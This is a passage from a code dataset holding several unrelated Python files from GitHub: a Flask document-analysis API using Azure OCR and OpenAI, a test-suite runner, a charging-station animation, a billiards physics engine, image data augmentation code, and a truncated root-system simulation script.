= self.consume_messages(self.settings.get_int(\"CONSUME_MAX_COUNT\", 100),\n                        filter_key=lambda x: (x[\"item_id\"], x[\"item_type\"]))\n                    for roc_item in roc_items:\n                        with ExceptContext(errback=self.log_err):\n                            self.logger.info(\"Process %s. \" % roc_item[\"item_id\"])\n                            result_list.append((roc_item, self.enrich(roc_item), time.time()))\n                self.look_for_ready(result_list)\n                time.sleep(1)\n        finally:\n            if self.tear_off(result_list):\n                for roc_item, result, process_time in result_list:\n                    self.logger.info(\"Push back unfinished task: %s. \"%roc_item[\"item_id\"])\n                    self.push_back(roc_item)\n\n    @abstractmethod\n    def enrich(self, roc_item):\n        pass\n","repo_name":"ShichaoMa/old-spider","sub_path":"jay-bufallo/utils/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40567303587","text":"import sys\nimport unittest\n\nfrom . import dsargparse_test\n\n\ndef suite():\n    \"\"\" Returns a test suite.\n    \"\"\"\n    loader = unittest.TestLoader()\n    res = unittest.TestSuite()\n\n    res.addTest(loader.loadTestsFromModule(dsargparse_test))\n    return res\n\n\ndef main():\n    \"\"\" The main function.\n\n    Returns:\n      Status code.\n    \"\"\"\n    try:\n        res = unittest.TextTestRunner(verbosity=2).run(suite())\n\n    except KeyboardInterrupt:\n        print(\"Test canceled.\")\n        return -1\n\n    else:\n        return 0 if res.wasSuccessful() else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"jkawamoto/dsargparse","sub_path":"tests/test_suite.py","file_name":"test_suite.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"16724776416","text":"#################################################################\n#   @version: 1.0\n#   @date: 26/02/2022\n#\n#   QUICK DOCUMENT ANALYZER\n#################################################################\n\n# Imports\nimport sys\nimport os\nimport re\nimport json\nimport uuid\nimport re\nimport time\nimport requests\nimport random\nimport re\nimport ntpath\nimport json\nfrom flask import Flask, jsonify, request, abort, Response\nimport datetime\nimport logging\n\n# defined Classes\nfrom searchHelper import *\nfrom runDocAI import *\n\n\n# Setting up a Logger\nLOG_path = \"logs/\"\nif not os.path.exists(LOG_path): os.mkdir(LOG_path)\nlogger_filename = LOG_path + \"DocAIBot__{}.log\".format(datetime.datetime.now().strftime(\"_%d-%m-%Y_%H.%M\"))\nlogger = logging.getLogger('ROOT')\nlogger.setLevel(logging.INFO)\nhandler = logging.FileHandler(logger_filename)\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s: %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\n\n# Load configuration\ndef load_config(config_fp):\n    with open(config_fp, \"r\") as f:\n        config_data = json.load(fp=f)\n        os.environ[\"STORAGE_NAME\"] = config_data[\"STORAGE_NAME\"]\n        os.environ[\"STORAGE_CONN\"] = config_data[\"STORAGE_CONN\"]\n        os.environ[\"OCR_KEY\"] = config_data[\"OCR_KEY\"]\n        os.environ[\"OCR_ENDPOINT\"] = config_data[\"OCR_ENDPOINT\"]\n        os.environ[\"OPENAI_KEY\"] = config_data[\"OPENAI_KEY\"]\n        os.environ[\"SEARCH_ENDPOINT\"] = config_data[\"SEARCH_ENDPOINT\"]\n        os.environ[\"INDEX_NAME\"] = config_data[\"INDEX_NAME\"]\n        os.environ[\"SEARCH_KEY\"] = config_data[\"SEARCH_KEY\"]\n    return\n\n\n# server\napp = Flask(__name__)\n\n###################################################\n# SEARCH ENDPOINT\n###################################################\n@app.route('/docai/<string:query>', methods=[\"GET\", \"POST\"])\ndef search(query):\n    \"\"\"\n    Searches the blob storage for documents matching user query\n    Output: Returns ranked results with content type, name of document, storage path, and search score.\n    \"\"\"\n    final_result = list()\n    try:\n        search_client = initiate_search()\n    except Exception as e:\n        error_code = \"SEARCH CONNECTION ERROR | Trace: \\n{}\".format(str(e))\n        search_logger.error(error_code)\n        return jsonify({\"Search Failed:\": error_code})\n\n    if(search_client is not None):\n        search_logger.info(\"Connection with search service established!\")\n    \n    try:\n        # select = (\"metadata_content_type\", \"metadata_storage_name\", \"metadata_storage_path\")\n        # final_results = list(search_client.search(search_text=query, query_type=\"semantic\", query_language =\"en-us\", select=\",\".join(select)))\n        results = search_client.search(search_text=query)\n        for result in results:\n           doc = dict()\n           doc[\"metadata_content_type\"] = result[\"metadata_content_type\"]\n           doc[\"metadata_storage_name\"] = result[\"metadata_storage_name\"]\n           doc[\"metadata_storage_path\"] = result[\"metadata_storage_path\"]\n           doc[\"@search.score\"] = result[\"@search.score\"] \n           final_result.append(doc)\n        search_logger.info(\"OUTPUT :: {}\".format(json.dumps(final_result, indent=4)))\n    except Exception as e:\n        error_code = \"SEARCH EXECUTION ERROR | Trace: \\n{}\".format(str(e))\n        search_logger.error(error_code)\n        return jsonify({\"Search Error\" : error_code})\n    \n    return jsonify(final_result)\n\n\n###################################################\n# ANALYZER ENDPOINTS\n###################################################\n@app.route('/docai/version', methods=['GET'])\ndef version_check():\n    \"\"\"\n    To check status of the bot.\n    Returns: version information.\n    \"\"\"\n    output = checkVersion()\n    return jsonify({\"output\": output})\n\n\n@app.route('/docai/run_ocr', methods=['POST'])\ndef run_ocr_engine():\n    \"\"\"\n    Executes Azure's OCR Engine (ReadAPI v3.2) on a given azure-blob URL.\n        Headers : { \"Content-Type\": \"application/json\" }\n        Payload : { \"file_path\": <<azure-storage-blob-filepath>> }\n        Auth    : NA\n    Returns: OCR'ed document in JSON format, which should be stored in a azure-blob.\n    \"\"\"\n    status=False\n    try:\n        # INPUT\n        if request.method==\"POST\":\n            input_json = request.json\n            file_path = input_json.get(\"file_path\")\n\n            # RUN OCR SERVICE\n            if file_path:\n                execute = run_ocr_process(file_path)\n                ocr_output = execute.main()\n                status=True\n            else:\n                raise Exception(\"ERROR: Variable 'file_path' not sent in the payload!\")\n        else:\n            raise Exception(\"ERROR: Incorrect API method used - please use a 'post' request\")\n    \n    except Exception as e:\n        error_code = \"OCR EXECUTION ERROR | Trace: \\n{}\".format(str(e))\n        logger.error(error_code)\n\n    if status:\n        logger.info(\"OUTPUT :: {}\".format(json.dumps(ocr_output, indent=4)))\n        return jsonify({\"output\": ocr_output})\n    else:\n        return jsonify({\"error\": error_code})\n\n\n@app.route('/docai/extract_insights', methods=['POST'])\ndef extract_info():\n    \"\"\"\n    Extracts meta-data from given blob document path.\n        Headers : { \"Content-Type\": \"application/json\" }\n        \n        Payload : { \"document\": << OCR_OUTPUT_JSON >>,\n                    \"query\": << USER-TYPED_STRING_PROMPT --OR-- \"\" IF default_insight IS PASSED >>,\n                    \"default_insight\": << NULL IF PROMPT IS PASSED --OR-- A SELECTED VALUE >>\n                  }\n        Auth    : NA\n    Returns: Insights from OCR'ed document.\n    \"\"\"\n    status=False\n    try:\n        # INPUT\n        if request.method==\"POST\":\n            # EXTRACT USING OPEN AI\n            input_json = request.json\n            if input_json:\n                ocr_output = input_json.get(\"document\")\n                prompt = input_json.get(\"query\")\n                default_insight = input_json.get(\"default_insight\")\n                \n                if ocr_output:\n                    if (prompt is None or str(prompt).strip()==\"\" or str(prompt)==\"nan\" or str(prompt)==\"null\") and default_insight is None:\n                        raise Exception(\"ERROR: User input or default-insight either is missing - please pass atleast one!\")\n                    else:\n                        # RUN META-DATA SERVICE\n                        run_docAI = extract_metadata(openai, ocr_output)\n                        if default_insight:\n                            \n                            if default_insight in INSIGHT_OPTIONS.keys():\n                                output = run_docAI.execute(\"\", default_insight)\n                            else:\n                                raise Exception(\"ERROR: Chosen 'default-insight' option is unavailable!\")\n                        \n                        else:\n                            output = run_docAI.execute(prompt)\n                        status=True\n                        # print(\"\\n\\nOUT:\\n\\n\", output)\n                else:\n                    raise Exception(\"ERROR: OCR document json is missing in payload - please pass using 'document' in body!\")\n            else:\n                raise Exception(\"ERROR: Payload is missing!\")\n        else:\n             raise Exception(\"ERROR: Incorrect API method used - please use a 'post' request\")\n    \n    except Exception as e:\n        error_code = \"OPEN AI EXECUTION ERROR | Trace: \\n{}\".format(str(e))\n        logger.error(error_code)\n\n    if status:\n        logger.info(\"EXTRACT OUTPUT :: {}\".format(json.dumps(output, indent=4)))\n        return jsonify({\"output\": output})\n    else:\n        return jsonify({\"error\": error_code})\n\n\n@app.route('/docai/run', methods=['POST'])\ndef run_docai():\n    \"\"\"\n    Executes Azure's OCR Engine and then OpenAI on a given azure-blob URL.\n        Headers : { \"Content-Type\"    : \"application/json\" }\n        Payload : { \"file_path\"       : <<azure-storage-blob-filepath>>,\n                    \"query\"           : << USER-TYPED_STRING_PROMPT --OR-- \"\" IF default_insight IS PASSED >>,\n                    \"default_insight\" : << NULL IF PROMPT IS PASSED --OR-- A SELECTED VALUE >>\n                    }\n        Auth    : NA\n    Returns: Insights from OCR'ed document in JSON format.\n    \"\"\"\n    \n    status=False\n    try:\n        # INPUT\n        if request.method==\"POST\":\n            \n            input_json = request.json\n            file_path = input_json.get(\"file_path\")\n            prompt = input_json.get(\"query\")\n            default_insight = input_json.get(\"default_insight\")\n\n            if file_path:\n            \n                # RUN OCR SERVICE\n                execute = run_ocr_process(file_path)\n                ocr_output = execute.main()\n                \n                # RUN META-DATA SERVICE\n                run_docAI = extract_metadata(openai, ocr_output)\n                if default_insight:\n\n                    if default_insight in INSIGHT_OPTIONS.keys():\n                        output = run_docAI.execute(\"\", default_insight)\n                    else:\n                        raise Exception(\"ERROR: Chosen 'default-insight' option is unavailable!\")\n\n                else:\n                    output = run_docAI.execute(prompt)\n                \n                # print(\"\\n\\nOUT:\\n\\n\", output)\n                status=True\n\n            else:\n                raise Exception(\"ERROR: Variable 'file_path' not sent in the payload!\")\n        else:\n            raise Exception(\"ERROR: Incorrect API method used - please use a 'post' request\")\n    \n    except Exception as e:\n        error_code = \"DOC AI EXECUTION ERROR | Trace: \\n{}\".format(str(e))\n        logger.error(error_code)\n\n    if status:\n        logger.info(\"FINAL OUTPUT :: {}\".format(json.dumps(output, indent=4)))\n        return jsonify({\"output\" : output})\n    else:\n        return jsonify({\"error\" : error_code})\n\n\n# START\nif __name__ == '__main__':\n    print(\"Starting app now...\\n\\n\")\n    load_config(\"azure_config.json\")\n    app.run(debug=False)\n\n# EOF","repo_name":"pranzell/Quick-Document-Analyzer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35494915938","text":"import sys                                     # for command line arguments\nimport matplotlib.pyplot as plt                # for ploting\nfrom matplotlib.animation import FuncAnimation # for animation\nfrom matplotlib.patches import Rectangle       # for rudimentary robot drawing\nimport pandas as pd                            # for reading and storing data\nimport numpy as np                             # for trig functions\n\n# the command line arguments must be, in this order:\n# path_to_csv length\n\n# read csv file from command-line argument into a pandas dataframe\ndata = pd.read_csv(sys.argv[1])\nnum_rows = len(data.index)-1\n\n# initialize a figure and axis\nfig, (ax1, ax2) = plt.subplots(2,1)\n\n# set axis parameters\nax1.set_xlim(-1.1, 1.1)\nax1.set_ylim(0.0,  2.2)\nax1.set_title(sys.argv[1])\n\nax2.set_xlim(min(data[\"time\"]), max(data[\"time\"]))\nax2.set_ylim(-1.1*max(data[\"angle\"]), 1.1*max(data[\"angle\"]))\nax2.set_xlabel(\"Time [s]\")\nax2.set_ylabel(\"Angle [rad]\")\n\n# initialize objects to be plotted in animation\ncharge_station, = ax1.plot([], [],\n                          lw = 2, color = \"black\")\nlength = float(sys.argv[2]) # use command line arg as length of robot\nrobot = Rectangle((0,0),\n                  length, 0.618*length, # golden ratio for height (why not?)\n                  facecolor = \"red\")\nax1.add_patch(robot)\nclock = ax1.text(-0.75, 1.75,\n                \"\", fontsize = \"large\")\ngyro = ax1.text(0.25, 1.75,\n               \"\", fontsize = \"large\")\nstream, = ax2.plot([], [],\n                color = \"red\")\ntarget, = ax2.plot([], [],\n                  color = \"black\")\n\ndef frame_init():\n    # called before each frame is drawn, resets the data in the objects\n    charge_station.set_data([], [])\n\n    robot.set_xy((0,0))\n    robot.set_angle(0)\n\n    clock.set_text(\"\")\n    gyro.set_text(\"\")\n\n    stream.set_data([], [])\n    target.set_data([], [])\n\n    return charge_station, robot, clock, gyro, stream, target\n\ndef frame_animation(i):\n    # called iteratively to draw the animated frames; i is the frame number\n    x = [0.0, 0.0,\n         -0.965*np.cos(data[\"angle\"][num_rows-i]),\n         0.965*np.cos(data[\"angle\"][num_rows-i])]\n    y = [0.0, 0.23,\n         0.23-0.965*np.sin(data[\"angle\"][num_rows-i]),\n         0.23+0.965*np.sin(data[\"angle\"][num_rows-i])]\n    charge_station.set_data(x, y)\n\n    robot.set_x(-(0.965 - data[\"position\"][num_rows - i]) *\n                np.cos(data[\"angle\"][num_rows - i]))\n    robot.set_y(0.23 - (0.965 - data[\"position\"][num_rows - i]) *\n                np.sin(data[\"angle\"][num_rows - i]))\n    robot.set_angle(np.degrees(data[\"angle\"][num_rows-i]))\n\n    clock.set_text(\"Time [s]: %.2f\" % data[\"time\"][num_rows-i])\n    gyro.set_text(\"Angle [deg]: %.2f\" % np.degrees(data[\"angle\"][num_rows-i]))\n\n    stream.set_data(data[\"time\"].tail(i), data[\"angle\"].tail(i))\n    target.set_data(data[\"time\"].tail(i), np.zeros(i))\n\n    return charge_station, robot, clock, gyro, stream, target\n\n# animation object\nanim = FuncAnimation(fig, frame_animation, init_func=frame_init,\n                     frames=len(data.index)-1, interval = 10, blit = True)\n\n# comment out to avoid seeing the animation in real time\nplt.show()\n# uncomment to save the sanimation\n#anim.save((sys.argv[1])[:-3] + \"mp4\")\n","repo_name":"William-J-Daniels/BasicChargingStationSimulation","sub_path":"tools/animate.py","file_name":"animate.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38457076785","text":"import math\nfrom multiprocessing import Value\nfrom typing import List\nimport numpy as np\n\nWALLS: np.ndarray = np.array([\n    [[0,      9.5],   [0,     117],   [-5.3,   4.25],   [-5.3,  122.5]],\n    [[254.3,  9.5],   [254.3, 117],   [259.5,  4.25],   [259.5, 123]],\n    [[8,      -.1],   [116,   -.1],   [2.25,   -5.3],   [118.2, -5.3]],\n    [[134.75, -.1],   [243.9, -.1],   [132.25, -5.3],   [249.5, -5.3]],\n    [[8.3,    127.25],   [116.5, 127.25],   [2.75,   132.4],   [118.7, 132.4]],\n    [[134.75, 127.25],   [243.9, 127.25],   [132.25, 132.4],   [249.5, 132.4]],\n])\n\nPOCKETS : np.ndarray = np.array([\n    [ [-5.3,   4.25], [2.25,   -5.3]  ],\n    [ [118.2, -5.3 ], [132.25, -5.3]  ],\n    [ [259.5,  4.25], [249.5, -5.3 ]  ],\n    [ [-5.3,  122.5], [2.75,   132.4] ],\n    [ [118.7, 132.4], [132.25, 132.4] ],\n    [ [259.5, 123  ], [249.5, 132.4 ] ],    \n])\n\nDECELERATION    = .2\nBOARD_WIDTH     = 254\nBOARD_HEIGHT    = 127\nBOARD_THICKNESS = 19\n\n\nclass Ball:\n    def __init__(self, pos: tuple[float, float], vel: tuple[float, float]):\n        self.radius = 5\n        self.pos: np.ndarray = np.array(pos, dtype='f')\n        self.vel: np.ndarray = np.array(vel, dtype='f')\n\n\n\n\n##\n# Updates the position and velocity of @param ball based on time difference @param dt\n##\ndef update_ball(dt: float, ball: Ball):\n    ball.pos += ball.vel*dt  # Update position based on velocity\n    # Calculate deceleration based on current velocity\n    decel = ball.vel*(1-DECELERATION)*dt\n    ball.vel = ball.vel-decel  # Update velocity based on amount of deceleration\n    # Zero out the velocity if low enough\n    ball.vel *= 0.0 if np.abs(ball.vel).sum() < 0.1 else 1.0\n\n\n##\n# Checks and responds to collisions of @param ball against all possible lines in @const WALLS\n##\ndef check_wall_collisions(ball: Ball):\n    for wall in WALLS:\n        lines = np.array([wall[:2], wall[2:], wall[::2], wall[1::2]])\n        for line in lines:\n            if is_colliding_with_line(ball, line):\n                respond_to_collision(ball, line)\n                return \n    \n\n##\n# Updates @param Ball given a collision with @param line\n##\ndef respond_to_collision(ball: Ball, line: np.ndarray):\n    #gets the unit vector for the line as well as the unit vector perpendicular to the line\n    line_unit_vector = (line[1]-line[0])/np.linalg.norm(line[1] - line[0])\n    line_unit_orthoNormal = np.array([-line_unit_vector[1], line_unit_vector[0]])\n\n    #updates the velocity by flipping it over the line\n    p = 2*ball.vel.dot(line_unit_orthoNormal)\n    ball.vel -= p*line_unit_orthoNormal\n    \n     \n##\n# @returns True if @param ball is colliding with @param line\n##\ndef is_colliding_with_line(ball: Ball, line: np.ndarray):\n    #get the line as a vector\n    lineVector: np.ndarray = line[1] - line[0]\n\n    #get coefficients for quadratic equation \n    a = lineVector.dot(lineVector)\n    b = 2 * lineVector.dot(line[0] - ball.pos)\n    c = line[0].dot(line[0]) + ball.pos.dot(ball.pos) - 2 * \\\n        line[0].dot(ball.pos) - ball.radius**2\n\n    #get discriminant section of quadratic equation if < 0 ball misses completely\n    disc = b**2 - 4 * a * c\n    if disc < 0:\n        return False\n\n    #gets if the section of the line we care about is in the circle\n    disc_sqrt = np.sqrt(disc)\n    t1 = (-b + disc_sqrt) / (2 * a)\n    t2 = (-b - disc_sqrt) / (2 * a)\n    if 0 <= t1 <= 1 or 0 <= t2 <= 1:\n        return True\n    else:\n        return False\n\n##\n# Updates @param ball and any colliding ball in @param balls if the two balls are colliding\n##\ndef check_ball_collisions(ball: Ball, balls: List[Ball]):\n    for other_ball in balls:\n        if(other_ball != ball):\n\n            dist : np.ndarray = other_ball.pos - ball.pos\n            dist_mag = np.linalg.norm(dist).sum()\n\n            if(dist_mag <= ball.radius*2):\n                overlap = ball.radius*2 - dist_mag\n\n                unit_dist : np.ndarray = dist/dist_mag\n                ball.pos = ball.pos - (overlap * unit_dist * .5)\n                other_ball.pos = other_ball.pos +  (overlap * unit_dist * .5)\n\n                dist = other_ball.pos - ball.pos\n                dist_mag = np.linalg.norm(dist).sum()\n\n                unit_dist = dist/dist_mag\n                p = np.sum(ball.vel * unit_dist) - np.sum(other_ball.vel * unit_dist)\n\n                ball.vel = ball.vel - p * unit_dist\n                other_ball.vel = other_ball.vel + p * unit_dist\n                \n\n##\n# Returns true if the ball has been scored\n##\ndef is_ball_scored(ball):\n    \n    for pocket in POCKETS:\n        if is_colliding_with_line(ball,pocket):\n            return True\n    return False\n\n##\n# Updates the @param balls based on a time differential @param dt including ball and wall collision detection/resolution\n##\ndef update(dt, balls, pipe = None):\n     \n    balls_to_remove = []\n    for ball in balls:\n        update_ball(dt, ball)\n        check_wall_collisions(ball)\n        check_ball_collisions(ball, balls)\n        if is_ball_scored(ball):\n            balls_to_remove.append(ball)\n    for ball in balls_to_remove:\n        balls.remove(ball)\n    if not pipe == None:\n        pipe.send(balls)\n    return balls\n","repo_name":"Jam20/WinterWonderhack2021","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18034298096","text":"from skimage.transform import resize\r\n\r\nimport numpy as np\r\nimport tensorflow as tensorflow\r\nimport imageio\r\nfrom mainmodel import BOX_HEIGHT, BOX_WIDTH, IMAGE_HEIGHT, IMAGE_WIDTH\r\n\r\n#Darken the image.\r\ndef darken(flattenedInput, factor):\r\n    return flattenedInput*factor\r\n\r\n#Lighten the image.\r\ndef lighten(flattenedInput, factor):\r\n    space = 1.0-flattenedInput\r\n    newInput = flattenedInput + (space*factor)\r\n    return newInput\r\n\r\n#Shift the image.\r\ndef shift(flattenedInput, flattenedLabel, shiftHorizontal, shiftVertical):\r\n    print()\r\n    rows = int(IMAGE_HEIGHT/BOX_HEIGHT)\r\n    columns = int(IMAGE_WIDTH/BOX_WIDTH)\r\n    \r\n    label = np.reshape(flattenedLabel, (-1,rows,columns,5))\r\n    input = np.reshape(flattenedInput, (-1,IMAGE_HEIGHT,IMAGE_WIDTH,3))\r\n    \r\n    shiftLabel = 0\r\n    shiftInput = 0\r\n    #Shift right by specified number of units (unit = BOX_WIDTH)\r\n    if shiftHorizontal > 0:\r\n        #Shift image right.\r\n        shiftLabel = label[:, :, 0:columns-shiftHorizontal, :]\r\n        label[:, :, shiftHorizontal:columns, :] = shiftLabel\r\n        #Fill left most space with zeros.\r\n        label[:, :, 0:shiftHorizontal, :] = np.full((label.shape[0], rows, shiftHorizontal, 5), 0)\r\n        #Shift Input right.\r\n        shiftInput = input[:, :, 0:(IMAGE_WIDTH-int(BOX_WIDTH*shiftHorizontal)), :]\r\n        input[:, :, int(BOX_WIDTH*shiftHorizontal):IMAGE_WIDTH, :] = shiftInput\r\n        #Fill leftmost space with random colours.\r\n        input[:, :, 0:int(BOX_WIDTH*shiftHorizontal), :] = np.random.rand(input.shape[0], IMAGE_HEIGHT, int(BOX_WIDTH*shiftHorizontal), 3)\r\n        \r\n    elif shiftHorizontal < 0:\r\n        #Shift image left.\r\n        shiftLabel = label[:, :, (shiftHorizontal*-1):columns, :]\r\n        label[:, :, 0:(columns+shiftHorizontal), :] = shiftLabel\r\n        #Fill rightmost space with zeros.\r\n        label[:, :, (columns+shiftHorizontal):columns, :] = np.full((label.shape[0], rows, int(shiftHorizontal*-1), 5), 0)\r\n        #Shift image left.\r\n        shiftInput = input[:, :, int(BOX_WIDTH*(-1*shiftHorizontal)):IMAGE_WIDTH, :]\r\n        input[:, :, 0:(IMAGE_WIDTH+int(BOX_WIDTH*shiftHorizontal)), :] = shiftInput\r\n        #Fill rightmost space with random colours.\r\n        input[:, :, (IMAGE_WIDTH+int(BOX_WIDTH*shiftHorizontal)):IMAGE_WIDTH, :] = np.random.rand(input.shape[0], IMAGE_HEIGHT, int(-BOX_WIDTH*shiftHorizontal), 3)\r\n    \r\n    #Shift down\r\n    if shiftVertical > 0:\r\n        shiftLabel = label[:, 0:rows-shiftVertical, :, :]\r\n        label[:, shiftVertical:rows, :, :] = shiftLabel\r\n        label[:, 0:shiftVertical, :, :] = np.full((label.shape[0], shiftVertical, columns, 5), 0)\r\n        shiftInput = input[:, 0:(IMAGE_HEIGHT-int(BOX_HEIGHT*shiftVertical)), :, :]\r\n        input[:, int(BOX_HEIGHT*shiftVertical):IMAGE_HEIGHT, :, :] = shiftInput\r\n        input[:, 0:int(BOX_HEIGHT*shiftVertical), :, :] = np.random.rand(input.shape[0], int(BOX_HEIGHT*shiftVertical), IMAGE_WIDTH, 3)\r\n    #Shift up\r\n    elif shiftVertical < 0:\r\n        shiftLabel = label[:, (shiftVertical*-1):rows, :, :]\r\n        label[:, 0:(rows+shiftVertical), :, :] = shiftLabel\r\n        label[:, (rows+shiftVertical):rows, :, :] = np.full((label.shape[0], (shiftVertical*-1), columns, 5), 0)\r\n        shiftInput = input[:, BOX_HEIGHT*(-1*shiftVertical):IMAGE_HEIGHT, :, :]\r\n        input[:, 0:(IMAGE_HEIGHT+int(BOX_HEIGHT*shiftVertical)), :, :] = shiftInput\r\n        input[:, (IMAGE_HEIGHT+int(BOX_HEIGHT*shiftVertical)):IMAGE_HEIGHT, :, :] = np.random.rand(input.shape[0], int(-BOX_HEIGHT*shiftVertical), IMAGE_WIDTH, 3)\r\n        \r\n    return input, label\r\n\r\n#Creates a data augmentation.   \r\ndef returnAugmentationForList(originalInput, originalLabel, originalDims):\r\n    originalInput = np.reshape(originalInput, (-1, IMAGE_HEIGHT, IMAGE_WIDTH, 3))\r\n    originalLabel = np.reshape(originalLabel, (-1, int(IMAGE_HEIGHT/BOX_HEIGHT), int(IMAGE_WIDTH/BOX_WIDTH), 5))\r\n    totalInput = np.copy(originalInput)\r\n    totalLabels = np.copy(originalLabel)\r\n    totalDims = np.copy(originalDims)\r\n    #Create vertical and horizontal shifts.\r\n    for i in range(0, 4):\r\n        horiInput, horiLabel = shift(np.copy(originalInput), np.copy(originalLabel), i, 0)\r\n        totalInput = np.append(totalInput, horiInput, 0)\r\n        totalLabels = np.append(totalLabels, horiLabel, 0)\r\n        totalDims = np.append(totalDims, np.copy(originalDims), 0)\r\n    \r\n    origL = np.reshape(originalInput, (-1,IMAGE_HEIGHT,IMAGE_WIDTH,3))\r\n    for i in range(0, 4):\r\n        vertInput, vertLabel = shift(np.copy(originalInput), np.copy(originalLabel), 0, i)\r\n        totalInput = np.append(totalInput, vertInput, 0)\r\n        totalLabels = np.append(totalLabels, vertLabel, 0)\r\n        totalDims = np.append(totalDims, np.copy(originalDims), 0)\r\n\r\n    #Light and darken the image.\r\n    print(vertInput[0][0][0][1])\r\n    dark = darken(np.copy(originalInput), 0.5)\r\n    totalInput = np.append(totalInput, dark, 0)\r\n    totalLabels = np.append(totalLabels, np.copy(originalLabel), 0)\r\n    totalDims = np.append(totalDims, np.copy(originalDims), 0)\r\n    light = lighten(np.copy(originalInput), 0.5)\r\n    totalInput = np.append(totalInput, light, 0)\r\n    totalLabels = np.append(totalLabels, np.copy(originalLabel), 0)\r\n    totalDims = np.append(totalDims, np.copy(originalDims), 0)\r\n    \r\n    return totalInput, totalLabels, totalDims\r\n\r\n#Compress image to fixed size of IMAGE_HEIGHT, IMAGE_WIDTH\r\ndef compress(img):\r\n    img = resize(img, (IMAGE_HEIGHT, IMAGE_WIDTH))\r\n    return img\r\n    \r\n#def main(unused_argv):\r\n    #images = (np.load('images.npy'))\r\n    #labels = np.load('labels.npy')\r\n    #dims = np.load('dims.npy')\r\n    \r\n    #firstTwoImages = [compress(images[0]), compress(images[1])]\r\n    #images = np.reshape(firstTwoImages, (-1, 256*256*3))\r\n    #labels = labels[0:2]\r\n    #dims = dims[0:2]\r\n    #totalInput, totalLabels, totalDims = returnAugmentationForList(images, labels, dims)\r\n    #print(totalInput.shape)\r\n    #np.save('imagesTotal', totalInput.flatten())\r\n    #np.save('labelsTotal', totalLabels.flatten())\r\n    #np.save('dimsTotal', totalDims.flatten())\r\n    \r\n    \r\n#tensorflow.app.run(main)","repo_name":"Flaagrah/Deep_Learning","sub_path":"DataScienceBowl/src/mainmodel/DataAugmentation.py","file_name":"DataAugmentation.py","file_ext":"py","file_size_in_byte":6123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"51842118566","text":"import sys\nsys.path.append(\"../../..\") \nsys.path.append(\"../../../src/python_modules\")\nimport numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport vtk_plot as vp\nimport plantbox as pb\nimport math\nimport faulthandler; faulthandler.enable()\nfrom pyevtk.hl import gridToVTK                                 # pip3 install pyevtk\n\n# path to and name of plant and root parameter file\npath = \"../../../modelparameter/rootsystem/\"\nname = \"spring_barley_opt\"\n\n\"\"\"\nSimulate multiple root system architectures (RSA) with root development affected by deep loosening (DL).\n\nSimulate virtual soil profile wall (SPW) of 300 cm wide by 100 cm depth with a slit (DL) of 30 cm placed in the middle of the SPW. \nThe elongation rate is scaled using bulk density values both outside and inside the slit based on the EquidistantGrid3D function in CPlantBox. \nSimulate two plants (RSA) in 24 rows, and compute the RLD perpendicular to each row for the simulation time. \n\nFilter RLD according to days after sowing as in the field experiment.\n\"\"\"\n\nsimtime = 107                           # simulation time\nN       = 24  \t\t\t\t\t\t    # number of rows, 8 per [m]\nM       = 2  \t\t\t\t\t\t    # number of plants in a row \ndistp   = 3.  \t\t\t\t            # distance between the root systems along row [cm]\ndistr   = 12.5  \t\t\t\t\t\t# distance between the rows [cm]\ndistTr  = N * distr  \t\t\t\t\t# total row spacing\ndistTp  = M * distp  \t\t\t\t\t# total distance between plants \ntop     = 0.  \t\t\t\t\t\t    # vertical top position (cm) (normally = 0)\nbot     = -100.  \t\t\t\t\t\t# vertical bot position (cm) (e.g. = -100 cm)\nleft    = -150  \t\t\t\t\t    # left along y-axis (cm)\nright   = 150  \t\t\t\t\t        # right along y-axis (cm)\nn       = 20  \t\t\t\t\t\t    # number of layers, each with a height of (top-bot)/n\nm       = 60  \t\t\t\t\t\t    # number of horizontal grid elements (each with length of (right-left)/m)\nm2      = int(M * distp)  \t\t        # resolution of 1 cm  \nexact   = True  \t\t\t\t\t\t# calculates the intersection with the layer boundaries (true), only based on segment midpoints (false)\n\n# soil volume\nsoilVolume = 5 * 5 * 5\n\n# Time points during vegetation period in days\n# (shooting=45,46) and (flowering= 71,73,74)\ntimes = [74, 73, 71, 46, 45]  \t\t\t \n \n\n# bulk density grid definition\ny_left = -200\ny_right = 200\ndistp_row = 6\nz_top = 0.\nz_bot = -200.\nhorizontal_grid_num = 200\ny_distance = 6\nnum_layers = 40\n\n# Define bulk denistitis\nprint(\"EquidistantGrid3D: \", y_right-y_left, distp_row, z_top-z_bot, \"cm, res:\", horizontal_grid_num, y_distance, num_layers)\nscale_elongation = pb.EquidistantGrid3D(y_right-y_left, distp_row, z_top-z_bot, horizontal_grid_num, y_distance, num_layers)     # grid is centered in x, y \nbulk_density = np.ones((horizontal_grid_num, y_distance, num_layers))\n\n\n# depth of 200 cm and 40 layers of 5 cm distance\ndepth = np.linspace(5, 200, 40)                                        \n# list of the position of layers\nzi_list = []                                                           \n\nfor i in depth:\n    zi = num_layers - int(i / ((z_top-z_bot) / num_layers))            # gridz is from [-depth - 0], i.e. surface is at end of array\n    zi_list.append(zi)  \t\t\t\t\t\t\t\t\t            \n\nprint(\"z indices\", zi_list) \n\n# bulk densities of the field out of the slit across depths \nBD = [1.30, 1.30, 1.30, 1.30, 1.50, 1.50, 1.56, 1.56, \\\n      1.50, 1.50, 1.53, 1.53, 1.57, 1.57, 1.59, 1.59, 1.59, \\\n      1.59, 1.61, 1.61, 1.61, 1.61, 1.61, 1.61, 1.61, \\\n      